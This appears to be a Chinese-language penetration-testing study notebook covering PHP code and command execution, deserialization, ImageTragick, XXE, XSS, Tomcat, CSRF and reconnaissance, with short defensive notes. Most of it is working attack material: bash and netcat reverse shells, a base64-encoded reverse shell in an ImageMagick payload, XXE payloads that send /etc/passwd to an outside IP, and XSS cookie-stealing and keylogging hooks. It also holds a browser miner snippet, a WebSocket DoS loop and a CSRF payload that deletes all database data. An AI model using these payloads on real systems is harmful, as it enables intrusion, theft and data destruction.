'./libraries/gis/pma_gis_' . $type_lower . '.php'
./libraries/gis/pma_gis_/../../../../ll.png%00.php
dedecms5.7 文件包含漏洞
文件包含漏洞的防御:
1、设置白名单
2、过滤危险字符
3、设置open_basedir的路径
4、设置相关参数开关:include(close)
代码执行漏洞和命令执行漏洞
危害非常大,有些漏洞可直接getshell
执行命令(代码和系统命令)
反弹shell
获取系统敏感信息
命令执行:
原因:
(1)参数可控
(2)使用 用来执行系统命令的函数,system /exec /shell_exec 等等,将用户提交的提交过来去执行,中间无过滤或者过滤不严谨
注意:执行的命令是系统命令,Windows或者Linux
分类:
(1)代码层
(2)第三方组件
(3)系统层
函数
``
system()
shell_exec()
exec()
passthru()
popen()
proc_open()
注意:通过站点中命令执行漏洞执行某些命令的权限是:依托于站点(www_data/iis_user/USERS)
nc -vlp 8989 -e /bin/bash
python -c 'import pty;pty.spawn("/bin/bash")'
代码执行
漏洞原因
" );phpinfo();//
$ret = strtolower("" );phpinfo();//");
$ret = strtolower("$data");
http://127.0.0.1/code_exec.php?data=" );phpinfo();//
http://127.0.0.1/code_exec.php?data={${phpinfo()}} 双引号内可以执行可变变量 $$
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
/e修正符使preg_replace()将replacement参数当作PHP 代码(在适当的逆向引用替换完之后)
preg_replace('/abc/e',$_POST["cmd"],'abcdef')
http://127.0.0.1/code_exec2.php?data=<data>{${phpinfo()}}</data>
$ret = " "phpinfo();// " "
<data>"phpinfo();//</data>
$ret = "{${phpinfo()}} ";
$data=");phpinfo();//
PHP>=5.5 {} 可不要
代码执行漏洞利用姿势:
一句话
http://127.0.0.1/code_exec.php?data={${eval($_POST["cmd"])}}
post数据 cmd
获取当前路径
http://127.0.0.1/code_exec.php?data={${eval($_POST["cmd"])}}
post数据 cmd=system("pwd")
http://127.0.0.1/code_exec.php?data={${system("dir")}}
http://127.0.0.1/code_exec.php?data={${print(getcwd())}}
读文件
http://127.0.0.1/code_exec.php?data={${exit(var_dump(file_get_contents($_POST['f'])))}}
写文件
http://127.0.0.1/code_exec.php?data={${exit(var_dump(file_put_contents($_POST['f'],$_POST['d'])))}}
bash -i >& /dev/tcp/192.168.11.85/7777 0>&1
nc -lvp 7777
代码执行漏洞防御:
<script></script>
(1)使用json保存数组,读取数据时不使用eval(string2array)
(2)必须使用eval的地方要严格过滤(推荐使用白名单)
(3)对特殊字符进行转义(addslashes、魔数引号、htmlspecialchars、 htmlentities、mysql_real_escape_string等)
(4)放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换
(5)若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象(preg_replace+正则)
PHP面向对象回顾
function __construct()在实例化的时会自动调用
function __destruct() 在对象被销毁的时候自动调用
HTTP传输数据方式:
XML(XXE)
JSON
test=O:7:"chubeta":1:{s:4:"test";s:28:"<?php eval($_POST['cmd']);?>";}
file_put_contents('./404.php', '<?php phpinfo();?>');
PHP反序列化漏洞的原因:
(1)有一个参数用户可控
(2)对用户传递过来的参数进行反序列化,在反序列化过程中需要调用某些魔法函数(__construct/__destruct/__wakeup/__sleep()/__tostring()等等)这些魔法函数在调用的时候会执行某个危险函数,参数是用户可控的,最终达到攻击者的目的,整个过程中服务器无过滤或者过滤不严谨
JAVA序列化方法
3中反序列化方法 原生态
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEuNTkvOTg5OCAwPiYx
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEuNTkvOTg5OCAwPiYx | base64 -d | bash`"||id " )'
pop graphic-context
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEuNTkvOTAwMSAwPiYx | base64 -d | bash`"||id " )'
pop graphic-context
渗透测试流程
1、前期交互
2、情报收集
3、威胁建模
4、漏洞分析
5、渗透测试
6、后渗透测试
7、报告
什么渗透测试?
利用黑客的攻击手段和技术对网络、系统、设备等等进行测试,找出其中安全性问题
分类:黑盒
白盒
灰盒
技术人员分类:
红客
黑客
骇客(脚本小子)
白帽子
灰帽子
黑帽子
XXE
有回显和盲型
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
<name>&content;</name>
</note>
<!ENTITY % payl SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://47.106.117.247:8888/?p=%payl;'>">
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://47.106.117.247:8888/xml?f=/etc/passwd">
%remote;
%int;
%trick;
]>
<note>
<name>&content;</name>
</note>
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///g://phpStudy/w.txt">
]>
<x>&f;</x>
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///c://flag.txt">
]>
<x>&f;</x>
file:///C:/Users/cream/Desktop/index.html
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C:/Users/cream/Desktop/index.html">
]>
<x>&f;</x>
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "php://filter/concert/.base64-encode/resource=C:/flag.txt">
]>
<x>&f;</x>
tomcat 默认端口8080
1、爆破
msf
use auxiliary/scanner/http/tomcat_mgr_login
设置IP 端口 线程 用户字典 密码字典
2、getshell
打包webshell.jsp -->test.zip--->test.war 上传木马 最后去访问
或者直接使用MSF获取shell
use exploit/mutli/http/tomcat_deploy
set rhost 192.168.1.13
set rport 8080
set username tomcat
set password tomcat
exploit (run )
XSS Cross site script css 跨站脚本攻击
分类:
反射型
存储型
DOM型
1' οnclick=alert(1) //
1'><img src=# οnerrοr=alert(1)>//
'><svg </onload ="1> (_=prompt,_(1)) ""><a'
'><details open οntοggle=confirm()><a'
"'/> <svg/οnlοad=alert(1)//
/><img src=# οnerrοr=alert(1)/>//
""' οnmοuseοver="alert(1)"
'><iframe src="javascript:alert(1)"></iframe>
<a href=' 1' οnclick=alert(1) // '>testLink</a>
DOM型XSS利用思想:
(1)在标签内部 构造出恶意代码
(2)标签闭合 让恶意代码逃逸出来
'><img src="#" οnmοuseοver="alert('xss')">
<script src='http://192.168.11.148/xss_pentest/cookie/cookie.js'></script>
<sCrIpt srC='http://192.168.11.148/xss_pentest/cookie/cookie1.js'></sCRipT>
<script src='http://127.0.0.1/Pikachu-master/pkxss/xcookie/cookie.js'> </script>
http://127.0.0.1/Pikachu-master/pkxss/xfish/fish.php
<script src='http://192.168.11.148/Pikachu-master/pkxss/xfish/fish.php'> </script>
<script src='http://192.168.11.148/Pikachu-master/pkxss/rkeypress/rk.js'> </script>
漏洞扫描工具:
AWVS
APPScan
W3AF
BP
Nessus()
Cobalt Strike
扫目录类(信息泄露)
扫敏感信息类()
资源探测类 shodan
XSS利用平台类:
BlueLotus_XSSReceiver
xss_platfrom
XSS盲打
ezxss(PHP>=5.5 SSL )
xss-me(火狐插件)
AntSwordProject/ant
XSS Exploit框架 – Xenotix
Xenotix XSS Exploit Framework是一款用于检测和利用WEB应用程序中的XSS漏洞的渗透测试工具。这个工具可以将代码注入到含有xss漏洞的web页面中。
Xenotix的主要特点:
内置XSS Payloads
XSS键盘记录
XSS Executable Drive-by downloader
自动化XSS测试()
XSS编码
模块:
扫描
信息采集模块
攻击测试模块
XSS综合利用
BEEF
The Browser Exploitation Framework 的缩写,意在通过一些手段,控制对方的浏览器。
里面集成了很多模块,能够获取很多东西,有cookie,浏览器名字,版本,插件,是否支持Java,vb,flash等,所以说XSS神器嘛(默认用户名密码是beef,beef):
beef -x
<script src='http://192.168.10.6:3000/hook.js'></script>
-1 union select phone from admin limit 0,1#
听说admin的电话藏着大秘密哦
表 admin user users admins flag
字段 phone phoneid number
-2 union select phone from user limit 0,1#
<script src="http://192.168.11.164/myjs/de.js"></script>
xss 攻击手段
DOS 攻击
<script type="text/javascript”>
while (true){
var ws = new WebSocket("ws://要攻击的IP地址:端口”);
}
</script>
COOKIE 获取
<img src=x onerror = document.body.appendChild(document.createElement('img')).setAttribute('src','http://VPS地址:80/?='+document.cookie); >
JS挖矿
coinhive(https://coin-hive.com/)该网站专门提供一个用来挖矿的 js 引擎,可以用来挖门罗币( XMR)。这个网站提供了丰富的设置,可以调整挖矿时限制CPU使用率,如果调低一些CPU使用率,人们在访问网站时不查看网站代码访问者很难发现。
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.User('<site-key>', 'john-doe’);
miner.start();
</script>
内网信息探测
客户IP
内网IP扫描
端口扫描
XSS钓鱼
*********************************************************************************
XSS payload构造和变形
1、使用<>标记插入HTML/JS代码
<script> alert()</script>
<script src="url"> </script>
2、html标签的属性值执行XSS
<img src="javascript:alert(/x/)" >
<a href="javascript:alert(/x/)"></a>
<a href="url"></a>
3、使用空格、回车、tab
<img src="java script:alert(/x/)" >
4、大小写
5、双写(重复写)
6、利用自己的事件
onclick onmouseover onerror onload
<img src=# οnerrοr=alert(1)>
7、拆分
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.shell'</script>
<script>z=z+'.net/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval_r(z)</script>
document.write("<script src=http://www.shell.net/1.js> </script>")
8、css中构造XSS payload()
<div style="list-style-image:url(javascript:alert('/x/'))">
<link rel="stylesheet" href="http://www.xx.com/attack.css" >
http://www.xx.com/attack.css中插入恶意代码
9、字符编码
URL
ASCII
HTML Characters编码
<img src="javascript:alert('xss');"> HTML Characters编码;
HEX
十进制
八进制
Unicode
混合编码
CSS编码
aaencode
JSFUCK
<script>゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');</script>
javascript:゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
<a href="javascript:゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');" id="eval" target="_blank">eval</a>
10、根据上下文构造XSS payload(代码审计)
(黑河测试)
防御
验证输入
正则配置验证(针对特定的功能点)
黑名单
验证输出
HTML实体化编码
设置http-only
渗透Linux下的Samba(配置不当)服务
Samba是一套实现SMB(Server Messages Block)协议、跨平台进行文件共享和打印共享服务的程序。Samba服务对应的端口有139和445等,只要开启这些端口后,主机就可能存在Samba服务远程溢出漏洞或者配置不当引起的漏洞。下面介绍渗透攻击Samba服务器。
信息收集
namp 扫描
nmap -sV ip
MSF 探测
use auxiliary/scanner/smb/smb_version
use auxiliary/admin/smb/samba_symlink_traversal
Anonymous
同源策略
CSRF 跨站请求伪造
4点原因
危害:
1、篡改目标网站上的用户数据
2、窃取用户数据
3、作为其他攻击向量的的辅助手段
4、传播SCRF蠕虫
phpmyadmin 4.7.X CSRF漏洞
漏洞环境
https://www.vsplate.com/?github=vulnspy/PMASA-2017-9
root
toor
修改密码
http://192.168.11.200/phpMyAdmin-4.7.4/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27123%27)
写文件
SHOW VARIABLES LIKE '%secure_file_priv%'; 设置为空或者某个路径
select '<?php phpinfo();?>' into outfile 'G:/phpStudy/WWW/phpinfo_test.php';
http://192.168.11.200/phpMyAdmin-4.7.4/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile 'G:/phpStudy/WWW/phpinfo_test.php';
读数据(需要使用到OOB)
select load_file('G:\\test.txt');
http://192.168.11.200/phpMyAdmin-4.7.4/sql.php?db=mysql&table=user&sql_query=SELECT LOAD_FILE(CONCAT('\\\\',(select load_file('G:\\test.txt')),'.mysql.7j18gd.ceye.io\\abc'));
清空数据库所有的数据
SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1
完整的SQL语句
DROP PROCEDURE IF EXISTS EMPT;DELIMITER $$
CREATE PROCEDURE EMPT() BEGIN DECLARE i INT; SET i = 0;
WHILE i < 100 DO SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);
PREPARE STMT FROM @del;
EXECUTE STMT;
SET i = i +1;
END WHILE;
END $$
DELIMITER ;
CALL EMPT();
POC
DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A
SCRF防御
验证referer
token
<iframe src="../csrf" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>
加用户验证
CORS
跨资源访问
JSONP
信息收集
分类:
主动信息收集:攻击者或者渗透测试人员通过工具去主动去探测或者收集目标的信息,直接和目标接触
被动信息收集:不去直接接触目标,而是通过收索引擎或者爬虫系统去收索关于目标的信息
作用:为后期渗透测试打基础
指纹识别
生物指纹识别:手上指纹、虹膜、DNA、音频、面部等等
指纹识别常见的检测对象:
(1)CMS<内容管理系统>信息,常见CMS有:dede织梦、worepress、phpcms、thinkphp、ezcms、ecshop、帝国、大汉CMS、discuz、魅力、海洋cms、逐浪CMS Zoomla、drupal、EarCMS、思途CMS
(2)前端技术:HTML5 、jquery、bootstrap、pure、ace、ajax等等
(3)中间件和容器等:apache 、IIS、Nginx、lighttpd、tomcat、weblogic、jboss、websphere等等
(4)开发语言:php java ruby go python c# Jsp asp aspx 等等
(5)操作系统:Windows NT、类UNIX(MACOS)
(6)CDN信息:是否使用CDN技术、常用CDN:cloudflare/360CDN/365cyd等等
(7)端口或者服务:
(8)IP或者域名信息:
(9)WAF:检测是否有WAF:云盾、云锁、安全狗、IPS/IDS、等等
指纹识别方式:
(1)文件的MD5值(一对一) 密文检索
(2)关键词(robots.txt 、powered by dedecms、报错、URL、第三方插件等等)
(3)响应头部信息
Server
X-Powered-By
set-cookies
Access-Control-Allow-Origin
WWW-Authenticate:判断网络设备
(4)URL 中可能包含关键词:
dede
wp-admin
wp-includes
solr
wls-wsat (weblogic)
(5)开发语言
浏览器插件:wappalyzer
URL识别
全端代码
报错信息
响应头:
X-Powered-By
set-cookie php phpsessID java JSESSIONID net asp.net_sessionid
(6)工具
whatweb(识别网站类型) ruby apt install whatweb 2000-+插件
whatweb -v http://baidu.com
masscan(扫描端口、服务)
masscan -p1-200 192.168.11.1-20
x-scan
nmap(端口、WAF、漏洞)
theHarvester 社会工程学工具(被动) 邮箱、子域名、主机、开放的端口和banner信息
theharvester -d pentest.com -l 10 -b baidu
-d 测试的URL或者公司名字
-l 显示的结果
-b 选用的收索引擎
Subdomainbrute(爆破子域名工具)通过字典去探测子域名,依赖于dnspython插件 pip install dnspython
python Subdomainbrute.py baidu.com
